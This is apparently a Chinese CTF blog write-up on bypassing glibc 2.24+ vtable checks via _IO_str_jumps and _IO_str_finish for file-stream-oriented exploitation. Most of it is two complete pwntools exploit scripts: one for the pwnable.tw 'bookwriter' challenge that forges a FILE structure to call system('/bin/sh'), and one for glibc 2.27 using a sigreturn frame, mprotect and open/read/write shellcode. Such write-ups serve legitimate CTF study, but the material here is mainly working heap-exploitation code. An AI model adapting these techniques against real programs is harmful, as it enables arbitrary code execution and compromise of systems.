IO_FILE_vtable_check

0x00 简介

在libc 2.24版本以后,对vtable的劫持进行了检测,但是这并没有增加利用的难度,反而更简单了。

参考:https://mp.weixin.qq.com/s/RDFsJrgkz4ywAwuFV7Rneg

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/exploit-in-libc2.24-zh/#_io_str_jumps-finish

0x01 检测机制

我还是直接用的bookwriter这道题来绕过vtable的检测。
检测函数在/libio/libioP.h中:

1
2
3
4
5
6
7
8
9
10
11
12
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length)) //检查vtable指针是否在glibc的vtable段中。
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

可以看到glibc中是有一段完整的内存存放着各个vtable,其中__start___libc_IO_vtables指向第一个vtable地址_IO_helper_jumps,而__stop___libc_IO_vtables指向最后一个vtable_IO_str_chk_jumps结束的地址,最后进入_IO_vtable_check触发报错。

进入该函数意味着目前的vtable不是glibc中的vtable,因此_IO_vtable_check判断程序是否使用了外部合法的vtable(重构或是动态链接库中的vtable),如果不是则报错。

glibc2.24中vtable中的check机制可以小结为:

1.判断vtable的地址是否处于glibc中的vtable数组段,是的话,通过检查。2.否则判断是否为外部的合法vtable(重构或是动态链接库中的vtable),是的话,通过检查。3.否则报错,输出Fatal error: glibc detected an invalid stdio handle,程序退出。

所以最终的原因是:exp中的vtable是堆的地址,不在vtable数组中,且无法通过后续的检查,因此才会报错。

0x02 利用方法

使用内部的vtable_IO_str_jumps_IO_wstr_jumps来进行利用

如何利用_IO_str_jumps_IO_wstr_jumps完成攻击?在vtable的check机制出现后,大佬们发现了vtable数组中存在_IO_str_jumps以及_IO_wstr_jumps两个vtable,_IO_wstr_jumps_IO_str_jumps功能基本一致,只是_IO_wstr_jumps是处理wchar的,因此这里以_IO_str_jumps为例进行说明,后者利用方法完全相同。

_IO_str_jumps的函数表如下

函数表中存在两个函数_IO_str_overflow以及_IO_str_finish,其中_IO_str_finish源代码如下,在文件/libio/strops.c中:

1
2
3
4
5
6
7
8
9
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //执行函数
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

条件:

  1. _IO_buf_base 不为空
  2. _flags & _IO_USER_BUF(0x01) 为假

构造如下:

1
2
3
4
5
6
7
8
_flags = (binsh_in_libc + 0x10) & ~1
_IO_buf_base = binsh_addr

_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1
vtable = _IO_str_finish - 0x18
fp+0xe8 -> system_addr

0x03 示例 bookwriter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
debug = 1
context.log_level = 'debug'
if debug:
sh = process('./bookwriter')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
gdb.attach(sh)
else:
sh = remote('chall.pwnable.tw', 10304)
libc = ELF('libc_64.so.6')


def add(size,content):
sh.recvuntil('Your choice :')
sh.sendline('1')
sh.recvuntil('Size of page :')
sh.sendline(str(size))
sh.recvuntil("Content :")
sh.send(content)

def view(idx):
sh.recvuntil('Your choice :')
sh.sendline('2')
sh.recvuntil('Index of page :')
sh.sendline(str(idx))

def edit(idx,content):
sh.recvuntil('Your choice :')
sh.sendline('3')
sh.recvuntil('Index of page :')
sh.sendline(str(idx))
sh.recvuntil('Content:')
sh.send(content)

def info(choice):
sh.recvuntil('Your choice :')
sh.sendline('4')

def leak_heap():
info(0)
sh.recvuntil('a'*0x40)
heapbase = u64(sh.recvuntil('\n')[:-1].ljust(8,'\x00')) - 0x10
log.success('heapbase: ' + hex(heapbase))
sh.recvuntil('(yes:1 / no:0) ')
sh.sendline('0')
return heapbase





sh.recvuntil('Author :')
sh.send('a'*0x40)

add(0x18,'a'*0x18)
edit(0,'a'*0x18)
edit(0,'a'*0x18+'\xe1\x0f\x00')
edit(0,'\x00')
heap_base = leak_heap()
for i in range(8):
add(0x40,'wwwwwwww')
view(1)
sh.recvuntil('wwwwwwww')
libc_base = u64(sh.recvuntil('\n')[:-1].ljust(8,'\x00')) - 0x3c5188
log.success('libc_base: ' + hex(libc_base))

bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
IO_list_all = libc_base+libc.symbols['_IO_list_all'] - 0x10
system_addr = libc_base + libc.symbols['system']
vatable_addr = libc_base + 0x3c37a0 - 0x8

payload = ''
payload += '\x00'*0x290
payload += p64(0)+ p64(0x61) # fake header # fp
payload += p64(0) + p64(libc_base+libc.symbols['_IO_list_all'] - 0x10) # fake bk pointer
payload += p64(2) + p64(3) # fp->_IO_write_base
payload += p64(0) # fp->_IO_write_end,
payload += p64(bin_sh_addr) # fp->_IO_buf_base
payload += p64(0) *19 # fp->_mode
payload += p64(vatable_addr)
payload += p64(0)
payload += p64(system_addr)


edit(0,payload)
edit(0,'\x00')

sh.recvuntil('Your choice :')
sh.sendline('1')
sh.recvuntil('Size of page :')
sh.sendline(str(0x10))

sh.interactive()

0x04 2.27下利用fsop执行orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
from pwn import *
context.log_level = 'debug'
sh = process('./pwn')
context.terminal = ['tmux', 'splitw', '-h']
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.arch = 'amd64'
context.os = 'linux'
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, "\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, "\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, "\x00")
return file_struct

def add(idx, size, content):
sh.recvuntil('Your choice:')
sh.sendline('1')
sh.recvuntil('Index:\n')
sh.sendline(str(idx))
sh.recvuntil('Size:\n')
sh.sendline(str(size))
sh.recvuntil('Content:\n')
sh.send(content)

def edit(idx, content):
sh.recvuntil('Your choice:')
sh.sendline('2')
sh.recvuntil('Index:\n')
sh.sendline(str(idx))
sh.recvuntil('Content:\n')
sh.send(content)

def move(idx):
sh.recvuntil('Your choice:')
sh.sendline('3')
sh.recvuntil('Index:\n')
sh.sendline(str(idx))

def show(idx):
sh.recvuntil('Your choice:')
sh.sendline('4')
sh.recvuntil('Index:\n')
sh.sendline(str(idx))

def gift(idx, size, content):
sh.recvuntil('Your choice:')
sh.sendline('666')
sh.recvuntil('Index:\n')
sh.sendline(str(idx))
sh.recvuntil('Size:\n')
sh.sendline(str(size))
sh.recvuntil('Content:\n')
sh.send(content)

for i in range(12):
add(i, 0x100, 'a\n')

for i in range(7):
move(i)
move(8)
move(10)
sh.recvuntil('Your choice:')
sh.sendline('1')
sh.recvuntil('Index:\n')
sh.sendline(str(7))
sh.recvuntil('Size:\n')
sh.sendline('-1')


edit(7, 'a'*0x10f + '\n')
show(7)
sh.recvuntil('\n')
libcbase = u64(sh.recvuntil('\n')[:-1].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x70
log.success('libcbase: ' + hex(libcbase))

edit(7, 'a'*0x10f + 'a'*8 + '\n')
show(7)
sh.recvuntil('\n')
heapbase = u64(sh.recvuntil('\n')[:-1].ljust(8,'\x00')) - 3312
log.success('heapbase: ' + hex(heapbase))
edit(7, 'a'*0x100+p64(0) + p64(0x111) + p64(libcbase + libc.sym['__malloc_hook'] + 0x70) + p64(heapbase + 3312) + '\n')
add(7, 0x100, 'a'*0x100)
add(7, 0x100, 'a'*0x100)
for i in range(7):
add(i, 0x60, 'a\n')
for i in range(5):
move(i)
add(6, 0x100, 'a\n')
add(7, 0x100, 'a\n')
move(6)
add(8, 0x90, 'a\n')

shellcode = '''
mov rax,0x67616c662f2e
push rax

mov rdi,rsp
mov rsi,0
mov rdx,0
mov rax,2
syscall

mov rdi,rax
mov rsi,rsp
mov rdx,1024
mov rax,0
syscall

mov rdi,1
mov rsi,rsp
mov rdx,rax
mov rax,1
syscall

mov rdi,0
mov rax,60
syscall
'''

frame = SigreturnFrame()
frame.rsp = heapbase + 0x1770
frame.rdi = heapbase
frame.rsi = 0x5000
frame.rdx = 4 | 2 | 1
frame.rip = libc.sym['mprotect'] + libcbase

add(9, 0x200, str(frame) + '\n')
add(10, 0x100, 'a\n')
add(11, 0x100, p64(heapbase+0x1778) + asm(shellcode) + '\x00\n')
move(10)
add(10, 0x90, 'a\n') #change this

IO_str_jumps = libcbase + 0x3e8360
binsh_addr = libc.search("/bin/sh").next()

payload = pack_file(_flags = 0,
_IO_read_ptr = 0, #smallbin4file_size
_IO_read_base = 0, # unsorted bin attack _IO_list_all_ptr,
_IO_write_base = 0,
_IO_write_ptr = 1,
_IO_buf_base = heapbase + 0x1450,
_mode = 0,
)
payload += p64(IO_str_jumps-8)
payload += p64(0) # paddding
payload += p64(libcbase + libc.sym['setcontext'] + 53)
add(11, 0x300, payload + '\n')

file_addr = heapbase + 6272

sh.recvuntil('Your choice:')
sh.sendline('1')
sh.recvuntil('Index:\n')
sh.sendline(str(10))
sh.recvuntil('Size:\n')
sh.sendline('-1')
edit(10,'a'*0x90 + p64(0) + p64(0x71) + p64(heapbase + 4800) + p64(libcbase + libc.sym['_IO_list_all'] - 0x18) + '\n')
add(11, 0x60, 'a'*0x60)
gift(11, 0x60, 'a'*8 + p64(file_addr) + '\n')

gdb.attach(sh)

sh.interactive()
-------------本文结束感谢您的阅读-------------
+ +